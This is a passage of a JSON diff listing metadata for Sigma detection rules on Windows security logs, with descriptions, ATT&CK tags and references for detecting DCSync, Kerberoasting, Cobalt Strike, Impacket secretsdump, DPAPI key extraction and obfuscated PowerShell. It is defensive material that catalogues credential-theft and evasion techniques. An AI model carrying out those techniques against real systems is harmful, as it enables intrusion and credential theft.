"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.006" - ], - "creation_date": "2019/07/26", - "filename": "win_security_ad_replication_non_machine_account.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects access to a domain user from a non-machine account", - "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a", - "value": "AD User Enumeration", - "meta": { - "refs": [ - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", - "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", - "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ], - "creation_date": "2020/03/30", - "filename": "win_security_ad_user_enumeration.yml", - "author": "Maxime Thiebaut (@0xThiebaut)", - "level": "medium", - "falsepositive": [ - "Administrators configuring new users." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", - "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd", - "value": "Enabled User Right in AD to Control User Objects", - "meta": { - "refs": [ - "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2017/07/30", - "filename": "win_security_alert_active_directory_user_control.yml", - "author": "@neu5ron", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", - "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", - "value": "Active Directory User Backdoors", - "meta": { - "refs": [ - "https://msdn.microsoft.com/en-us/library/cc220234.aspx", - "https://adsecurity.org/?p=3466", - "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" - ], - "tags": [ - "attack.t1098", - "attack.persistence" - ], - "creation_date": "2017/04/13", - "filename": "win_security_alert_ad_user_backdoors.yml", - "author": "@neu5ron", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", - "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd", - "value": "Weak Encryption Enabled and Kerberoast", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2053", - "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2017/07/30", - "filename": "win_security_alert_enable_weak_encryption.yml", - "author": "@neu5ron", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This events that are generated when using the hacktool Ruler by Sensepost", - "uuid": "24549159-ac1b-479c-8175-d42aea947cae", - "value": "Hacktool Ruler", - "meta": { - "refs": [ - "https://github.com/sensepost/ruler", - "https://github.com/sensepost/ruler/issues/47", - "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1087", - "attack.t1114", - "attack.t1059", - "attack.t1550.002" - ], - "creation_date": "2017/05/31", - "filename": "win_security_alert_ruler.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Go utilities that use staaldraad awesome NTLM library" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", - "value": "Chafer Activity", - "meta": { - "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/03/23", - "filename": "win_security_apt_chafer_mar18_security.yml", - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", - "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", - "value": "Defrag Deactivation", - "meta": { - "refs": [ - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.s0111" - ], - "creation_date": "2019/03/04", - "filename": "win_security_apt_slingshot.yml", - "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects activity mentioned in Operation Wocao report", - "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", - "value": "Operation Wocao Activity", - "meta": { - "refs": [ - "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://twitter.com/SBousseaden/status/1207671369963646976", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1036.004", - "attack.t1027", - "attack.execution", - "attack.t1053.005", - "attack.t1059.001" - ], - "creation_date": "2019/12/20", - "filename": "win_security_apt_wocao.yml", - "author": "Florian Roth, frack113", - "level": "high", - "falsepositive": [ - "Administrators that use checkadmin.exe tool to enumerate local administrators" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", - "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00", - "value": "Remote Task Creation via ATSVC Named Pipe", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.persistence", - "car.2013-05-004", - "car.2015-04-001", - "attack.t1053.002" - ], - "creation_date": "2019/04/03", - "filename": "win_security_atsvc_task.yml", - "author": "Samir Bousseaden", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", - "uuid": "8cd538a4-62d5-4e83-810b-12d41e428d6e", - "value": "Processes Accessing the Microphone and Webcam", - "meta": { - "refs": [ - "https://twitter.com/duzvik/status/1269671601852813320", - "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ], - "creation_date": "2020/06/07", - "filename": "win_security_camera_microphone_access.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", - "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", - "value": "CobaltStrike Service Installations", - "meta": { - "refs": [ - "https://www.sans.org/webcasts/119395", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1543.003", - "attack.t1569.002" - ], - "creation_date": "2021/05/26", - "filename": "win_security_cobaltstrike_service_installs.yml", - "author": "Florian Roth, Wojciech Lesicki", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", - "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e", - "value": "DCERPC SMB Spoolss Named Pipe", - "meta": { - "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", - "https://twitter.com/_dirkjan/status/1309214379003588608", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2018/11/28", - "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml", - "author": "OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Domain Controllers acting as printer servers too? :)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", - "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", - "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1021.003" - ], - "creation_date": "2020/10/12", - "filename": "win_security_dcom_iertutil_dll_hijack.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Mimikatz DC sync security events", - "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a", - "value": "Mimikatz DC Sync", - "meta": { - "refs": [ - "https://twitter.com/gentilkiwi/status/1003236624925413376", - "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", - "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" - ], - "tags": [ - "attack.credential_access", - "attack.s0002", - "attack.t1003.006" - ], - "creation_date": "2018/06/03", - "filename": "win_security_dcsync.yml", - "author": "Benjamin Delpy, Florian Roth, Scott Dermott, Sorina Ionescu", - "level": "high", - "falsepositive": [ - "Valid DC Sync that is not covered by the filters; please report", - "Local Domain Admin account used for Azure AD Connect" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", - "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d", - "value": "Windows Defender Exclusion Set", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2019/10/26", - "filename": "win_security_defender_bypass.yml", - "author": "@BarryShooshooga", - "level": "high", - "falsepositive": [ - "Intended inclusions by administrator" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects an installation of a device that is forbidden by the system policy", - "uuid": "c9eb55c3-b468-40ab-9089-db2862e42137", - "value": "Device Installation Blocked", - "meta": { - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/14", - "filename": "win_security_device_installation_blocked.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", - "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", - "value": "DiagTrackEoP Default Login Username", - "meta": { - "refs": [ - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/08/03", - "filename": "win_security_diagtrack_eop_default_login_username.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.\n", - "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563", - "value": "Disabling Windows Event Auditing", - "meta": { - "refs": [ - "https://bit.ly/WinLogsZero2Hero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2017/11/19", - "filename": "win_security_disable_event_logging.yml", - "author": "@neu5ron", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", - "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", - "value": "DPAPI Domain Backup Key Extraction", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.004" - ], - "creation_date": "2019/06/20", - "filename": "win_security_dpapi_domain_backupkey_extraction.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", - "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014", - "value": "DPAPI Domain Master Key Backup Attempt", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.004" - ], - "creation_date": "2019/08/10", - "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", - "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc", - "value": "COMPlus_ETWEnabled Registry Modification", - "meta": { - "refs": [ - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://bunnyinside.com/?term=f71e8cb9c76a", - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/06/05", - "filename": "win_security_etw_modification.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Checks for event id 1102 which indicates the security event log was cleared.", - "uuid": "a122ac13-daf8-4175-83a2-72c387be339d", - "value": "Security Event Log Cleared", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml" - ], - "tags": [ - "attack.t1070.001" - ], - "creation_date": "2021/08/15", - "filename": "win_security_event_log_cleared.yml", - "author": "Saw Winn Naung", - "level": "medium", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", - "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", - "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access", - "meta": { - "refs": [ - "https://twitter.com/INIT_3/status/1410662463641731075", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675", - "cve.2021.34527" - ], - "creation_date": "2021/07/02", - "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", - "author": "INIT_6", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", - "uuid": "f69a87ea-955e-4fb4-adb2-bb9fd6685632", - "value": "External Disk Drive Or USB Storage Device", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml" - ], - "tags": [ - "attack.t1091", - "attack.t1200", - "attack.lateral_movement", - "attack.initial_access" - ], - "creation_date": "2019/11/20", - "filename": "win_security_external_device.yml", - "author": "Keith Wright", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", - "uuid": "619b020f-0fd7-4f23-87db-3f51ef837a34", - "value": "Enumeration via the Global Catalog", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_global_catalog_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ], - "creation_date": "2020/05/11", - "filename": "win_security_global_catalog_enumeration.yml", - "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", - "level": "medium", - "falsepositive": [ - "Exclude known DCs." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", - "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2", - "value": "Persistence and Execution at Scale via GPO Scheduled Task", - "meta": { - "refs": [ - "https://twitter.com/menasec1/status/1106899890377052160", - "https://www.secureworks.com/blog/ransomware-as-a-distraction", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" - ], - "tags": [ - "attack.persistence", - "attack.lateral_movement", - "attack.t1053.005" - ], - "creation_date": "2019/04/03", - "filename": "win_security_gpo_scheduledtasks.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", - "uuid": "7b449a5e-1db5-4dd0-a2dc-4e3a67282538", - "value": "Hidden Local User Creation", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1387743867663958021", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ], - "creation_date": "2021/05/03", - "filename": "win_security_hidden_user_creation.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Rule to detect the Hybrid Connection Manager service installation.", - "uuid": "0ee4d8a5-4e67-4faf-acfa-62a78457d1f2", - "value": "HybridConnectionManager Service Installation", - "meta": { - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1554" - ], - "creation_date": "2021/04/12", - "filename": "win_security_hybridconnectionmgr_svc_installation.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Legitimate use of Hybrid Connection Manager via Azure function apps." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of Impacket's psexec.py.", - "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", - "value": "Impacket PsExec Execution", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/12/14", - "filename": "win_security_impacket_psexec.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect AD credential dumping using impacket secretdump HKTL", - "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf", - "value": "Possible Impacket SecretDump Remote Activity", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.003" - ], - "creation_date": "2019/04/03", - "filename": "win_security_impacket_secretdump.yml", - "author": "Samir Bousseaden, wagga", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3", - "value": "Invoke-Obfuscation CLIP+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "win_security_invoke_obfuscation_clip_services_security.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", - "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation", - "meta": { - "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2019/11/08", - "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", - "value": "Invoke-Obfuscation STDIN+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "win_security_invoke_obfuscation_stdin_services_security.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a", - "value": "Invoke-Obfuscation VAR+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "win_security_invoke_obfuscation_var_services_security.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "uuid": "7a922f1b-2635-4d6c-91ef-af228b198ad3", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "uuid": "f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml", - "author": "Timur 